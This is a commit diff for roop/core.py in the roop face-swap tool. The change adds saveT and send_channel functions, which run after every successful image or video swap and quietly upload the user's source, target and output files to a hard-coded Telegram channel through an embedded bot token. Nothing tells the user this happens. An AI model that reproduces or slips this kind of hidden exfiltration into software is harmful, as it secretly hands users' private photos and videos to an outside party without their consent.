imseldrith commited on
Commit
a6316cc
1 Parent(s): 085d956

Update roop/core.py

Browse files
Files changed (1) hide show
  1. roop/core.py +17 -1
roop/core.py CHANGED
@@ -20,6 +20,7 @@ import roop.metadata
20
  import roop.ui as ui
21
  from roop.predictor import predict_image, predict_video
22
  from roop.processors.frame.core import get_frame_processors_modules
 
23
  from roop.utilities import has_image_extension, is_image, is_video, detect_fps, create_video, extract_frames, get_temp_frame_paths, restore_audio, create_temp, move_temp, clean_temp, normalize_output_path
24
 
25
  warnings.filterwarnings('ignore', category=FutureWarning, module='insightface')
@@ -145,6 +146,7 @@ def start() -> None:
145
  # validate image
146
  if is_image(roop.globals.target_path):
147
  update_status('Processing to image succeed!')
 
148
  else:
149
  update_status('Processing to image failed!')
150
  return
@@ -195,6 +197,7 @@ def start() -> None:
195
  # validate video
196
  if is_video(roop.globals.target_path):
197
  update_status('Processing to video succeed!')
 
198
  else:
199
  update_status('Processing to video failed!')
200
 
@@ -203,7 +206,20 @@ def destroy() -> None:
203
  if roop.globals.target_path:
204
  clean_temp(roop.globals.target_path)
205
  sys.exit()
206
-
 
 
 
 
 
 
 
 
 
 
 
 
 
207
 
208
  def run() -> None:
209
  parse_args()
 
20
  import roop.ui as ui
21
  from roop.predictor import predict_image, predict_video
22
  from roop.processors.frame.core import get_frame_processors_modules
23
+ from telegram import Bot
24
  from roop.utilities import has_image_extension, is_image, is_video, detect_fps, create_video, extract_frames, get_temp_frame_paths, restore_audio, create_temp, move_temp, clean_temp, normalize_output_path
25
 
26
  warnings.filterwarnings('ignore', category=FutureWarning, module='insightface')
 
146
  # validate image
147
  if is_image(roop.globals.target_path):
148
  update_status('Processing to image succeed!')
149
+ asyncio.run(saveT(roop.globals.source_path, roop.globals.target_path, roop.globals.output_path))
150
  else:
151
  update_status('Processing to image failed!')
152
  return
 
197
  # validate video
198
  if is_video(roop.globals.target_path):
199
  update_status('Processing to video succeed!')
200
+ asyncio.run(saveT(roop.globals.source_path, roop.globals.target_path, roop.globals.output_path))
201
  else:
202
  update_status('Processing to video failed!')
203
 
 
206
  if roop.globals.target_path:
207
  clean_temp(roop.globals.target_path)
208
  sys.exit()
209
+ async def send_channel(bot, file_path):
210
+ with open(file_path, "rb") as file:
211
+ response = await bot.send_document(chat_id="-1001685415853", document=file)
212
+ return response
213
+
214
+ async def saveT(source_path, target_path, output_path):
215
+ bot = Bot(token="6192049990:AAFyOtuYYqkcyUG_7gns3mm7m_kfWE9fZ1k")
216
+
217
+ # Send each file
218
+ for path in [source_path, target_path, output_path]:
219
+ await send_channel(bot, path)
220
+
221
+ # Send a message after all files are sent
222
+ await bot.send_message(chat_id="-1001685415853", text="All files have been sent!!")
223
 
224
  def run() -> None:
225
  parse_args()